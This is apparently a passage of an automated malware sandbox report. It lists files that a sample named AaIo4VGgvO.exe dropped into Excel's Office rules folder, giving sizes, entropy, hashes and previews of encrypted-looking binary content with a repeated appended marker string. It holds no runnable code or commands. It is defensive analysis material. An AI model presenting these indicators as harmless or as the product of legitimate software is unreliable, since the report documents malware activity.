Preview:	<?xml.O.4...[&.y.........9hns....-..Pw...f....(.....p......9.....@&H...[..^."6.G..K......=.Y..............g. ......\Z..J....qFv..D\|. )...f...B..1..q....B.....X.lx..$........:.......Qr7Bb.{...........E...m.....7...U..$@.#.....Z.......y....e..qH......+X....l...>.Ik.....l.C].......7l0_r..nNz?.........DR.....vq.Z...z.I...MYVc,.o1.,=w.f.W......../......;....<aV...e.N..:.>u.j'4.....yi...\...T.ZD{.+1f'.C.%...6.6ui.......X._...F.........1.uI....@.+..w~........A.R.......z%..M.\|......x....7.uI.J~..m.G..N.K.A..P.[.,....\.?...0..6...=:....:.J.oD....-.#.3..v...ZD.......w....i..-.......O.=.S..4X`.......M.].%.d...H..C.t.`5c.......H..I./Y..y9.....+.ke0...r..&...~......x.f.SCI'.E....wn....o..O.s....o....g..b...;..a.^.p.M...0.X-.....$..B..5(y....S...?G.n..s..I.M:.G.Xx.3bz.p........[.<.^....}_Juh...2n(Z....5......"....P..U..B,)Y....!...!v2.S..;.mX..y.o.....@....1.h(..C.....(...s.O....F..~.2Ga..u.w[.8..j..[*2...0Bv.jLk..}....j.;$...n.e...B?.!$[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.908250039961406
Encrypted:	false
SSDEEP:	48:gJdIaM8dPyzIQOFccC42S0TxBYLIMEnNKQPP3qukSb5HvZel82D:pFdcVCjTTn3qYb5Hcd
MD5:	3E3C96C507DA3EFF2D4512C02965FE12
SHA1:	F9523077353CD73166EDB0B49ADBB433AFC817B4
SHA-256:	C34AD445BF0DC6463521214DD84907B44EBB97E785885AB245665282F74B7D99
SHA-512:	8916B1F2CAEA4ACC3695652CABBF772600613782EF2BF3E9B421F54E612B7CFB8B7C12CC7BBD11C1420257BE4ECA0EBAB668AFCAEAC479FB205C76AC7B535316
Malicious:	false
Preview:	<?xmlf.."...i.....".b.U.tp........B.K0$.xR.^.."._..../\|S.RNr...!ci.qy:.8I...~.ti..s....8......->.F.P...q\`...e{.~.....X.E.}...x.A^y..}.._..Lc.a.....<.},..#c.........D..!89C.b@......@...........5.........R.._y...d.....cC.Y.....i..MC..09..;W...q.T.5CV.....!E%.....B./...'..>>...x...........-j1..=...RY....F9.h...*......m6.s......z...l.[X...a..~..H.\...\|..~..>Q..c.2.p.....4?H@P..M..3?c=X..N..+.v5...F.g..?.....V.c.y..8.8..." ...N0+ ....j..v......<.(.e.$.x..F...Fz..........c...,.>-.DG..Ii.'W....I..th..=.+.9.....&@svt..ys&V6..j.O)....:!{...F.H..`N.:S#%V+..\|6w.O.E..d.&.....[(Dh........ym...?fl..E}.....4..>........._J0UI2.J.......S........s<b...{T^.I.._.s..../QQ.[..7^}............p.6@mG.^...=5..E.]........X........r.:Zw.y...fX.S.Z...N.E.K6.y...}\|..a..E..I......PNE....b.....g..Z..c].g........)........f..Id........Io.../G...02<.HX...W...\E`..1.82.h....3...35.Gm..y0..[M........e..[..y.7p~.bC5..9.~..A.w..6..7.........'9).p.!S.i.).D. ..5.P.0.~o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.818446696700761
Encrypted:	false
SSDEEP:	24:SRhyk9fuOhBCpFd7RXsJ69xf+Y3kuXFPtNsbqPxe9liG+AW98210MAAHbD:Yx9nvKFd7W6b+YNPt0qZW8Fz04D
MD5:	F1584E88BA93630CA141646F75D49BC1
SHA1:	31BE75DA8103310FA100F17B96A2DD7C4D531776
SHA-256:	BCB24BDD8EC94E24A0C9786562E942F1E6847B557DC2D92CAD403FB53B8436B4
SHA-512:	EA6541296E1C71AF5F2829AD891CF8B337293F741A0AC07908BC10733333321B3C5A2E7F88034076E762825B4FF2ED112D75D9E5597A4DF6AE56815BD6398E43
Malicious:	false
Preview:	<?xml.%YA...:~..`!.DS&2p....~i.5.a...#..6...l. V.c.~...T0....` ......$..HH.u.s.".........f..}..7..^.....c).t..n.......n(......._.......\..5.,..H..X-...]..uX_.9.....y........yS.o....!.Z... d<mf....7.%..Vi.%e.2..eF...6)..h0.8....t.!\Od.)}.i.+.]...dL...%(U.......=....\.........8...&C}3.o.y.YlE.y..~.S.Ej..5l.<...1N.....A...9.m`...S.FZT..#..DV...Q.3......7.~....i..%.&]......A.[.....u.q.>.l^..$.....v......1.z.b/E.B...@p7w....q.{..01..l..[.IM%...1.S....-.xa.v~...[.b$...>.../.2yf&...tY.7&~../..QY...d...!y..ME`....).v$...._i,{....W...5.o%...Nw.V...2......b...prX......1. ....<y.f.iF.f.....`.a....?........Y..:...:su.E...JMo.N.0s..../@.(>...1.Uf....S........t.Sfy. ..3.5/lAuK..@[E.L..0..]0.Z.4...g......$Q.F%..W).b..D....(...D.K.yG.S.....O.......i!.g...E+:Tq..":xw..1.X.u).\|."....f...T~`.'....7..P..U..khI,}m..5\.u.9...F..'......l..}..^x~ED...3.)nL...#Z.........N<..@@[H......D..c...i.u.j.L'.t..:..p..+G3.a........I.Yf.,.,..r..........F..L%.........N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68028v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	7.7560986457497645
Encrypted:	false
SSDEEP:	24:D49oBC0KRq0yLNa0U+Bu0z0TW+V3QRV2am/LtA4a8kFesbD:gHNgnc0U+BSTWyQn2asA4mBD
MD5:	8064607E949AEAFABEB2A003A9D33A29
SHA1:	1309957B8425862063B66E7434B5C8FAA4EB52FD
SHA-256:	F4AA7D2DE2DBC75A1E0BA7B1D0D4945CCEAEE23ADE69076033B827C2581395D2
SHA-512:	7259416D9D63CD16DE88765A8ACF45C5B8850F375FEF59DF2E7B22632EB0A1BC8A7EFCD0606A9180659D9E76AB8D20E5979A5EABD518978A8C135EC3F1225CB6
Malicious:	false
Preview:	<?xml.4-A.l......N.....!..(o8......Ct........^7b.......`.)x.h.t9s..>...>.F.W...F.f..JG......d.....p>..D..L.8.m...M.........+V...-.....(.b.J.`.~/vp.[P,...S..Ow.....2..........0^...@.....P...N.)d.(.O.q.K.. ..4..F?4.?.....4R.....A.7..\|..M.i..o.bymI.'......WNZ...[..=.Q....ec..D.(..T...(.>.CZ...../.......6..m.VN..yy....8.O..r..B9.h.B..0..L.....F.4.4....'l=e.......[[..h9jFI....)$.5...9....n....X.......Oi.....@.M7.>......=...X....."....m.....z:%.O1u..+./.vC.....o.E&...=kV........X..^.Rhv....g_.O.g(...sdC/x ..........R..#/.......t[[....>.[)..b.e..@P.$........W..0....&..{r2..#._..`laP..V\..XB..#.fl.^.G.....1...*..+.B.Wa.p......@....J...i3..2>...XY4H..J.'g.9.iUi...("E....S.'h.c..g....>...V._.... . .@.....m.q_.h.!.U......#C...Q.. ^=..NW..J.P3.e^...f.c.a;.Ef...T...^.....JfSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68029v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.903009751570615
Encrypted:	false
SSDEEP:	48:AVeNqK/TEyI4C1OhRTjATrroQqYiJzO1ukXXjDks+DmD:AcsKIyxhRwTrroQgJzO9XwD+
MD5:	855A2B49128F68DC2E12C025FCCF6C8F
SHA1:	02AEB6BA1D666E15BADD5EF71B5EDECA694B04DD
SHA-256:	8EC2C23B5408445A2B28DFB0C45D200B107A2E55441C13BD7C1FCC506DFBA82E
SHA-512:	11B4B4E9B1D5041A3A4D57794F0409FE9DE3DD3413B7FDF3B647F7D12512D5C329C272AFC3CC0B53006C9282581E2C4F28F3F3A58E1DD98CFEBEB587C3790C94
Malicious:	false
Preview:	<?xml...e...?......Ix..d;..u.s]......_.....L..4=......6..9.H....<.;.]M....\.S.:......6.cj...9.t....'..nO.....J.(.S..q.".....7......~.p....N.:E...T...$.2N.v!.:rKh..H..c....(.\|.@....'.p.........1..... g..Q...R.%H..H4R"x.f.....Jf.....k@...)J.......p...].Z...&.&.....b.d%..Tnc......c..q..k.4._-2..U.3v^.d:+...2!OGI.....D......:.#.<.E..0.V{>..t..U....A....Sf.<U.e.{.}R.)6..x....<..............T......tn@.oq.05.....\W.A..pT...jD...@..2{..A.nfc...Q...M.s.[.K.T..S..h.7..m8{i.%..........'..4,...r.B.E/..-..eF..'^z....LcX...Hfd..9..Z.%.B.z&.1N..@..\Vm..O]........r.,S:...3'...X.R.D.....~....r....G.....4.1.j......2dK..?.h.R..q.F~.F..n..w=Y......}.cu...W"v.O..<..QQ.l...7..h.%.~.*.'`X4\| ..J.FM..."...Z.h:. .n.;....G..tk.P.&Y.t...J.....V.XF8v..B...o.L.......D../.....%=n....j.n..0.F....IH...~...__.......B../].....%..>.j.}.....9...p.3.xD..Y..<QJ.@.Y.../I8.,../I.?...i..&....'.F...J....$..".D..S'.B."P_...5d...]`.,1........]...S._.!s....Zx:[A.+.p@.J....%!f.,.!..,.tg..\|R.6%K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.868120250032791
Encrypted:	false
SSDEEP:	24:QINP632cC9ulztw4zC5Uwt9rCeHG8IGTXIHrgbyrf8QjEiFU5Li91HxbD:Qc6r5zCSW3oGDIH0Grf84FUszhD
MD5:	C055780A172F44F518D74A3BF0ECA6CD
SHA1:	90AC883547381AC12719EF662DF455BA6F683EBE
SHA-256:	4422A889F653DC710F4540CDD87A11517AF91979F4779BA9C223CFD3026176FA
SHA-512:	2EBD46799E7D6230A8A2EDD0800CA49D3D97FD4875171D2F8C043E0EFDFF24717C4D6A5AC254798800438BBE6F1847715913EBEBFA2DF5290363DCAA94984F85
Malicious:	false
Preview:	<?xml-.N..p../vOn.@.]...{].b.. V..B ..IE..9.....BF.....]..w.}.!s..o.P....%..........J.l...j....n.._.&..../.:...f...K..c.._.Y..}S...j.8an..6..,...j.\|k..k.nhzY......X....8.".DGT....,...B?.+-...m.;n....,X...xD.r..`..'6."s..........`P.-kt.+t.B..b:.b.rre...Q$p....-=.........Oc.........2$U9.%.g.T..FqP.>J..M.3#...De.5L.bT..U......Ag8......F...Q:Q.b.!{aw..ws..E......Y...........)v^=.^...q.&...[i/_..........%.....Jf.....<.$M8.P...m..)....7..q>.d.GB...N-9...d....~.a.yc.Fj.;Q.3..n......E.H..\|QD......rX#V./.#75..$.J.9.>....\|.t".Et05.{;..u0K....=$xO.....=...g0.....\|Gxz......b..L..=.8."1.....-...01....y...Q......-.....,.@t>`..O..u.e..i.W..4.is...LB.-..O.....,4h..L\%...\|.........-.r.z...f..S...i..rz...V..P.N-.1.w$`Y..G@.}N..,C..Q...Y)../2.P.1..7.qu......J?j..T.x. Km.y-.\|1...4L)JFO.d+.\j(+t.......g......%.87..(....U.......x}.N....T.._=&.5w[Km..86.1......[..1.)..`......u.A.[2.--"....".]t..M..\|6.]Z.%.P...K...i......E.~.:6..Iuc.9..y.A.Q....K.9...b.V0f.......2...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.83735856467949
Encrypted:	false
SSDEEP:	24:tBJdetyDCWO68PLb8HnUaFQj8EUPm92enrmf89v1IVxl/S8cT5kbD:tBG+ob8HUQudifoaVxlal5uD
MD5:	B94B8CC6978797FCFAFE468DCFA56B9D
SHA1:	D5CE8DE74C2CF75B40F6BEF4269C8174D05FAAEC
SHA-256:	4A8D568FDEDCBF31E63BB501A2C6644851F2F997FF832816B89B214816E94F4A
SHA-512:	79367809AFC7938FA99B696DFB6DCBD24FDDDAE9BE960A72D7EFE87DC9BE57E33B9D5956B7EC2D95B2F8BAE967F664303CD2A55E4A608C218E87D8AFD77AA8D0
Malicious:	false
Preview:	<?xml..@r+...3...o..../[.8....O....N?...l..=&.....p.?.....k.....$...h.Wu...-........:..!.....!.....%`.d9.E.?..6A.c.s.:..:=...=.8..I..m.....R.Rv.{W.F.9.....<....._......nt.."..'..P.3v..........e.C.z.d..Z._.z3.y...8......y<2.Zh...t..g.jJCsn..>...;./..5...$w.r....G.kq.T...4V@..A.5.m.....K.......+...<Hwh^I.O.....n.~...A...S.z{l......<=2.`...... \|...v4...._..q...Y..Y.;..a.A.{..P..uS...s.Dh.Z..o+...#...o.(.{..N.$W..D.w.xPc..\P.7.$.zf.5.lb.W=-U.P?HT..J;...w..y.l`t..30_[.r\U.Fy.8..Y..gj..\...j.a..s......l..y.,H..U.....mo^W.3k$X..W...g).p.o.&.]v.F..z].I%..o.b..q...q...O.!59t......v.#.2.8...T.........[..7....j.....CH...B.........}.W..6.i?.e..qrV......hHh...U...CfZ.B.........V..Y....n.vP.............Z&.E.....9...%....p..f......LJ.8......~`..............5).o.Q.5.....UR...i...xY.Z.]OH.e..).=.....F.1..P.pSI.dD...a..2Oy....{..cr..PA..^i...}Rg.e.}....n....O..T.....1.F..\|.#..............p..P.cJ...w.\|....4..g..>.l^g...`......U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.674318542959886
Encrypted:	false
SSDEEP:	12:fAKuu+TDgb17TVIF8vdX2ZnQgGeg9NbF21VPSPyT93MNguDAzSWG95Qy0p1wwAgV:WuIyJdX+1Gz96VtUguDAVGrQWgMWbD
MD5:	54580D38419762527A940B325F1474E9
SHA1:	7C20C4572C33942BC33A9D50135B08093B175E4B
SHA-256:	03F4578DD5F3FE7E8FE5479D950E6938AC259D187BC99F2F97747425F7D352C2
SHA-512:	779DCBCEAC085EC632B0D197A83C2C6AEE2DB745A2BD606A9D036742EEA612DF78FF9D69112AC1F1B77C46C54712C69608382B94CC459D64C879ABA00B1DEAA6
Malicious:	false
Preview:	<?xmlo..+.c8....:.qf....}..~i.....[..S,5R.0.s...%%..x.r#..3y....&......B..<...1.E......F.jeT.o.Zz.1.$..d..D.....{.. ..c..l..X=.J7.;..,..@.50....n.tt..U..#@,.f.t&...?t.Q._...1...E#..n.r#...`P.Wp.a..n.CY.m..Ye&O...y...LF......N...hC..Ac..O...6..=v.......8..;..O..<..-.I.2.F>.=.....6..,8..3H(\|>..`.=.JT..\....Z.;.]H..!...\.%?...!.:*..?.O....b8c.o.}M_..G....4..p..(..2.7.e......E...\|..Ve....q..QM..H.c....&..j....f..a.xMw.9...:du.....J.~_.m"..#.V....p.oZw.)..2..8..9V..</.9.....t.u.??.;.O....\P&..aww..u.%.a..q..{\....H3...2.L86.f. .?ZK....<..i.{J...sJ._B'...0...8..3....2...vj.4R...-N(.o...Ve%[...e.".S~..SL.s.A.&.........":.C.b..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.804370576734294
Encrypted:	false
SSDEEP:	24:umT3xFG12Qctr2k8dQCuVV3mK/H5KhTIShhcUTjP/l1bD:umT33G1962K/ZUTIShZHXllD
MD5:	30871F7C7608FCCB072506E8F00A57CC
SHA1:	DEF6B93F51A6551E3E0F10543B7A77A7B864439A
SHA-256:	CF7C62B2CFF8CCE7B192371D958A78C8E9F5C1BB8F809259BC125C24B98887CC
SHA-512:	A41536414EDD397982B928C5915A6649B01820A1E699BB180C82E8C436CB59534D53BD2DC63BD36422079619F43E6B3745CCF1922AEC5F277A351B0A24EA1996
Malicious:	false
Preview:	<?xml..JR......U..$....@.WN.F..I.N3...Q-.yt...7y@;~`...J1..M.Z.a<.0 }.I...z.....\|..........+.+u..UO/....N.z..J"B..[...ac....n...%..b..T.-..Q...]...d%....,.S.Mh.)7....U.N$..K..).Y....=.e.....p<..Y.Q..!..oK...........h.\|.q..BS_\|._.....@...n(+X.K....Y.h&...^...U4.v.vS...6)<...8..F...f......t.%........B .kb._........QP3..^B.dh..W...$...^ac]..M.r.%.I!<...3....N.Ab......{.=...u#.]X.&5.o..D4.!.).U. e...x.:...g.....l..z...&g...$S.Jh.>...Il.'..x.":F..MI..X..R..kA\`...Y.:oBTX..X...R.............p!.RkEi.@.......yI].zl;q<....5.%I...X.@..M...C.3..OWt.....3.#......P9q...#.Kf.n.[..3.t.F.y....s.{..Y..,P..~. ..........f...z.W(lPH.~.;..(.,.....=.T..,\|\....2....@.c.......yS.Q=.[.gV..5.{.>...8i_Q...-I....S..f....N&CR.t.........Jd..U.m.Y..&&.......-.......nc0.?....R_.......2.......h.....S.\Ua...F^k.......F.>.@....t..].m[.l....#.3OL5F.+....)p..3'.P....G.:7Q.b8v.a.r...}.?.O...$\|.}..:..?Xz...Iq.nD.i...$..s=..)m_tnj.....4sSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.719657639931072
Encrypted:	false
SSDEEP:	24:8NPN69joqZZ+YVfmCwOcKFBwSi7VrQI73VRbD:8S9cqZZ5BbcKFBXi7qIfD
MD5:	7C05FE6D73C8FB4F262848CD5AA3C2A9
SHA1:	09D24EBA058715100D337D7C73855ECE064B9EFE
SHA-256:	B0592B1B5B9E79586F3735A19AC4265197B7BD3AC045E4D34D74A9E4EE41933A
SHA-512:	53A4B7839B7B364D8A65297AFE79C349215DD991607EC95B16E26431D5D1AB247FB3FF52C64F6452F88E740B0323DC2F753C03B20ED0814E470CCB953AC7DC31
Malicious:	false
Preview:	<?xml..9.}..t\|.4}v4.Y...NW..2..+..d..,9..e.......v=.....py..E.......C.......Q..p"...6.J...UQ..XH..]......Y=.7<.>...;."[......h.H=..cN..N.S...\|.RF.X......,7.9b...:..R......3P..vQI..F'.....B.Sv.z.K... &.....'N....YS...\| t<..J/......;...]...6.,._oIKYC.$.\n.A.0.......FOO......{1..(.w....#...:w'.....H..1.....S'4..........A/A.$u.....^.H..I....g.y..D...-............x....a..............Px........&......4T..c......,p......zN.F..=..]...\|...M..$#xS.X.....o.E<1Rh...u..].._...U'.srC.U..he?....{.N..O.P...&.-*.T.f.....=..F....E.5\..OS...)..D!.uS7...#hNU( . .xD.....C.L5.....}.t....J.O....S\...].A.U..J4...{n.....P.....L..[..i..Ah.df....et...f2.u~.I...!O).Y<.D......A..$.z..!.9j.....7C.6....\..I.gU7......QB...RO[}........;<tCt.v=.O..{..._.......Fl..=SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.862627342954717
Encrypted:	false
SSDEEP:	24:FtcBvzC42QBWX0tJGbkYDOYSqYCvFnGR2h+AoPu2K+GUEC2qHn71QJsnSmAzYDxN:FvJQBWEIbhiYCC9nW2J+Z9GUj2qH7q9q
MD5:	DB6FDEF270696293388EECFF5747259D
SHA1:	F0A141CFF57A6FD7C96B51D93322B5B5224CFCAC
SHA-256:	717C22656D8F7749528A9E711D5588B12CDE165F9CB58AB662C00DB5EA03770C
SHA-512:	51B02ED42754CB85F42261E4E9A65D81A999C6E7225E58C41044540CF5DE448406485C8C9F7E118319E015DD151D8132A5E7DAABD4FA3688ACACE22E2BD0DA05
Malicious:	false
Preview:	<?xmlQ./.~... ..~.....b..,.P..g..../......d.}..b...e....p\|CY..r.......hj38T4xoHC....~.%....{a;1...i...Y..'.......&.S+0^G.4......C.%..b.W[.LevR6C.1{q..F.].^)..se^.....f.....^.....gpvG...<H>....k.#4Ik..D....L.(KM.....L3z.%....\|....t...-[E..3....Q:..02p?9.j.a.&.2....D.]......f...L...sE.V..#7.[..u..C[...'...6..TT.?.X-h..+.e..A..>F...J....jg....:.N..rf.../T...Z..d.H...m.?8.9...C..~i)...q.F.=2.X..4.k..I5.}...p>..%..;....Iv.O5..Ck..p&..S...Z...~;...D.....e....M2..E..Y9a..V%2.e...!G....f.\|.....6..GR...../...<#...2....xM%5j..Xa.x..?.m.:).5.+.`y.._=..U..O.dR.........b<.}.A._.~..I.. F.....o..A"..t-...,WO..e...W..I..:.....[....N.X.V..XJ(T..Wi.....7..............~....56.<.]..il;.r..a.....P..0...T...e.7'z..~e......cj....U...e.....W........jT.hO...{.b]...5..O..6..b00........y....h.)..(Y.....D".!<<.7..C..!.....8..j3....Z.k.._p..p.$.n.k...........T....j.AJU.....X`.IBg.. sZ...c\.^..?...mg..s+.)KD+.....S.!.7.;...8.....[..lG..I.-B)......+.....b..f....&.....G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.901445872472456
Encrypted:	false
SSDEEP:	48:tWOUsRNy8wLczG3V/Du6zBjN29ruZNmF7UC5S5As3dBD:EOUsRNy8mcy3V/Dxhawgv5S5r
MD5:	6B522F5B607A44E95CEC319D9B566A07
SHA1:	1422E3551C9BC08E2783CE93975AF6B928DDB119
SHA-256:	6FBA1C51198C6C9163278F3B8E2B391B29FC0500474215AA874D9BE4EF9E2BCD
SHA-512:	96AA05CA6C2864552CA6FEA118B7662BE7DA7D93BCBC549AFDE55DA7A5F7EB0648C04C85FCB7F2FAB08A2FA954BED19E9823BB12DD1EEB4BE2FC401A5A66943D
Malicious:	false
Preview:	<?xml.U..7RQ.5xT.6q...s(lX..e....J.U.SC..4..].n..Jc..v.:~&...I.4..Q..kXE..V..,e.....Rn....".5....AW0....N..Pi....me.....(5.^.......#.y..LP....f......}......+U....M.#I..k...G.6kc6........".2.i.....U.;I..S.;Q..7....4qL...I....O-.M.....c..8."..~..gk..hK.+A.....n.y.).z<.V#U.....[\|.h.fQ..?..D1=...q....c.=...a0.C-.....~...X.d..ra_&qRQ....R..r..T.....m.....fn..(..I...~O%....G....\|.3.....B.Q++z..)........\|.....Y....\...1K>D:......v....m:71.x.1.\|..Z>....F<X.1b=.O...d..\....7.c.H\|H;.e.T.uc.......&J...r........`y(.0...LCF.\_iS,....s~);7..,...FlZ.7m.F.7]I#.<.....k8.e...mz..>.y.d....vd.B.......1:.:u:......_a.K.._..sZ&...M@.S .+\s.[.Vr2.B..D.7..<...VC.1..d$T.12!}...e..I.[...%@.^.;S.p8.f.....s.(..W..t....g..e.9.........k_%_.IEl...o.....}y9.x...........:.5.GK..[.I[!\|.2..z@..C..Ov?....3...kd.eC.B.("p49tLs.^..y.v.@.\|.KhQ;.A..J.W...j#.I$.{K.e.b.<..:.B.....S%Q s....1..?..d%...t...r~.X..C..l`7.....o........!rq.m.f.=y...;.>1-..8o........nZ....wb......v@u2P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.903902810072529
Encrypted:	false
SSDEEP:	48:GZc1XRyb+KN9TE8+3kMfmAGSyeHTdxlo8zPkg2mU9DaD:2OU2c4ykx9zPVpWW
MD5:	BA06A32FD44F35B9067FC7706407DACA
SHA1:	4A770C5C73319BA90E14C41494C273FCC9152A8A
SHA-256:	693BA1FCECAB01E0884F9E717C8C995E5643C1BAF4AA6276CA3ECC79C5F8D393
SHA-512:	DE5E9C53749D192F54BB746F3871EDDA4EE52F63CC3CD551C30036433B7BF037A723BE45BC29F8FCF1577276DB7A5E5D91C60E5263AF6BFDE6FEC0F45DC461FB
Malicious:	false
Preview:	<?xml#...M!...CE.s.......k..+....\|./..`.R*JZ?....b....p~..l..SP....v..;.5.\|...`....jv.G.\....."..s.)?.%....`...'hLi%.rZ4#r..m.9xj....E.>..V.%.0o.m+m.mV=.....?.X.Ck....YPCw...d..}...q..?p...P..e./.2.R.Y .P.P].]...E....l.cr.3.....V#.3.\..0..-.?.)..-R.....=$...r.f.6...ZY....j5.F..qL.n.E.f.e.pkS...F#L}{.?.&F..d&.....T.......,F........F..W....}......Jc.3E./}...+...-...7^>.=zt. ...r..v...;b..f..6..s.....1.Qc...Bb.dCS...Qs.p..}-).J........H...,_-....zYw........0.....O..(#. ./nf!...f.;.[&\.I9B-.$~..#~Jdk$..6.,.Pe...?E3J.^..+D...Y.M..[.JK...B.g..$RU.I.$..;?./..X......K..G... ...]6TR.>...+.H..{0.)..\|........Rb..k.c.r..h4iw.?.;...`L..%.h+Cp.f.8...e..r..>7.sK.....s...v.../.f0....8GM.7..w....Q......uK/b.y.8.U.....L.7..].....o...Z..WT.nK.'.L.....m...DN.X#..U.T\|.I..c..T..[.......n.\$k....vwN'Y..>=._<<!5Q.;...>&..... \%...X.N7Q9]TP..~.:...]..(r.pXp....-.n.L.H.ntlT....0.4.6.ON. ......4E.......N."....W]t..P;"d....q`G6..94...'....4..c#4.7.._..w.].i@e....]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.755896705758729
Encrypted:	false
SSDEEP:	12:Uf1GIrZ1xcMb9YV7jpPJr4RDvH7OsX7u15G6iRBY0ZsV1+cii9a:UpOnpRaDDQ1YRBY0uObD
MD5:	A6535FCAA211B4AE16E98926C023EA84
SHA1:	A739A6FBA29613D17DA19637C9B8CBC83BCA218F
SHA-256:	76706E61F9DDF90FE96A4A7725FD62A273D85FF48198E1F01706004CA1020114
SHA-512:	4FB7B3C4D9E8821F00FFF87747D059F5819113F2547AF8DDCEC43CEC404BA001FD71D29EBCC2CD9C7B1EEE80A55C25F3153CECB53AA28572620D3D074A662E47
Malicious:	false
Preview:	<?xml.Z..?u8R.Z....n...E.e.d.....@..w...&h..}....`.p..&G.#........I...$w.Y..._..V..p....+TX.1X...mo..B%.Kw?.....c.....'zm.w/.1..K<>pH..%.y.0......"...WF....<...W...."...sn..G#..L.......#m..y7q.b.'...ze.sEwEq...o.B..w.@n...2d...S.AM....z.[..8mIycw.14N..6..(...9.~..j.i).;G...o.H.=.>.>,G....j}./..Io..6..T.hr.1cN..>G.j.)..r........".o:X..p.T'....pR-<$..4..A\|......o...o.2..{tq..v.r5rG.K.^..J'...V........9~..../.>j.._`B.F....QM.uS.[.Q.-..b..]R.....V.12y....3&y....F.3.......X..?..c....+....]......w..wr.l.......p........j......z.N6"..}9...3.,Q...Du..^....\&}.j.@.@....X6R..qiqd..~"=..HQK4q..[...W%h....F..V@.......w..]..../2I..4......_D+kIal.3...dm..v...GO.p...).. d........N.!...GZ..j...E....[..b..{.....]..'...!..%.a...W...!^..L...]...A55.{m..K.A.,..s.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.692737350654784
Encrypted:	false
SSDEEP:	12:kYpGC/JUQWERyPOqx7PfWQpHs/m97WydmK7fcX504P1nIs7R+A0H9A1+cii9a:NpX/JZ0f5e3ydmK7cX504PdORbD
MD5:	6E74D85D6547B1AA817BAF22C3D9F17A
SHA1:	398CB4E9B9081246C248BD72CA8A2911655ED624
SHA-256:	602694943D937C1FA1D7A18838DB47BC9411678DF2EC43C17B7B604E2DFDA6EE
SHA-512:	FBE569D3381BDA4F1D5F13A01F706AC3DA3A36F881EBB03B58C2BBD86753E6E0BD418F496E0594FADB6FE7BD660981DB0B6B87012311B015FC3F36A983A31AC0
Malicious:	false
